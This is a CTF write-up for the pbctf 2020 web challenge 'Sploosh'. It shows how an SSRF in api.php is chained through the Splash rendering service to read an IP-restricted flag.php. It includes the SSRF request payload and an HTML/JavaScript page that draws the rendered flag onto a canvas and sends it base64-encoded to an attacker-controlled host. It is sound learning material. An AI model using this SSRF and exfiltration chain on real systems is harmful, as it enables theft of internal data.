ctf

ctf writeup repo

View on GitHub

Sploosh - Web challenge - pbctf 2020

Author: p4w@beerpwn

Twitter: https://twitter.com/p4w16

TL;DR

This challenge is about exploiting an SSRF vulnerability along with Splash (javascript rendering service).

Challenge description

img desc

Solution

Once connected to the challenge, the index page show a link where it is possible to download the source code. Here it follow the docker configuration file for the challenge:

img desc

The application is pretty simple, basically we have 3 file: index.php, flag.php and api.php. The index.php page doesn’t contain anything important, so I’ll only show the api.php and flag.php pages.

This is the source for api.php img desc

and this the source code of flag.php img desc

As we can see in api.php, it’s possible to control the url GET parameter and if it is passed, then script will execute file_get_contents with the http wrapper to the host splash. With a bit of googling it’s possible to discover the service behind the scene. The repository of the splash project can be found here

As it is possible to observe that to get the flag it’s necessary to request the flag.php file, but the flag will be printed out only if the remote address that is requesting the resource is 172.16.0.13 or 172.16.0.14. At this point and considering what we have I start to thinking that I need some kind of SSRF to retrieve the flag. Trigger the SSRF is pretty easy in this situation, since no check is made on the url parameter, we can just pass arbitrary address in it. Problem is that the SSRF is blind, I’m going to show what I mean with some screen.

img desc

Here for example I used google.com domain as endpoint, but in the response we don’t have all the page contents retrieved from google, instead only the geometry is present. At this point I start to looking more closely to the Splash documentation (https://splash.readthedocs.io/en/stable/api.html). Also referring to the api.php resource, it’s possible to notice that the url parameter is urlencoded before concatenation, this stop us to directly inject additional parameters on the query itself (& -> %26). By reading the documentation we can notice that the Splash API can be used along with many parameters. The first one that caught my attention was the lua_source parameter that can be passed to the /execute API endpint to run custom lua script. Searching more information about that I discover this article https://paper.seebug.org/354/ that explain how Splash works. One thing that tell us is that we can’t actually run arbitrary lua code since is sand-boxed for security reason. Before going more in deep on the Splash API, let’s see how it is possible to full control a request over the splash endpoint by exploiting the url parameter. The trick is simple we can just pass a full request to the internal address:

With this payload it is possible to force the the application to make a request to the render.html API endpoint that will generate another request to the domain example.com. Let’s verify that:

img desc img desc

Works fine, at this point I knew that I was able to fully control a request to the splash endpoint along with any parameter I want to use. The first idea was to use the lua_source parameter to inject some lua script to leak the flag. I tried that solution, unfortunately I fail so I start to read more documentation. The Splash service have many endpoints that can be used to fetch pages such as /render.jpeg.

img desc

At this point I start thinking for a chain that can be use to retrieve the flag by using this functionality. The basic idea that I had was to embed an <img> tag in a page controlled by me and pointing to the /render.jpeg endpoint with the url parameter http://172.16.0.14/flag.php. After that I can leak the contents with some JavaScript code.

This is the code I used to do that:

<html>
  <body>
    <script>
      function exfil(){
        var c = document.getElementById("myCanvas");
        var ctx = c.getContext("2d");
        var img = document.getElementById("preview");
        ctx.drawImage(img, 30, 30);
        var i = new Image();
        i.src="http://<yourdomain-here>:9999/exfil?data="+btoa(c.toDataURL());
      }
    </script>
    <img id="preview" src="http://172.16.0.13:8050/render.jpeg?url=http://172.16.0.14/flag.php" onload="exfil()">
    <canvas id="myCanvas" />
  </body>
</html>

To make this work, I just play a bit with the api.php page and come up with this payload:

GET /api.php?url=http://172.16.0.13:8050/render.html%3furl=http://<yourdomain-here>:8000/exploit.php HTTP/1.1
...

basically the first request goes to the /render.json endpoint that is used inside the api.php, then a request for /render.html is generated along with the url parameter pointing to my domain where I hosted the page showed before. You can look the exploit working during the CTF in the screenshots below.

img desc img desc img desc

After that we can just decode the base64 and we get the flag rendered in a jpeg file!

img desc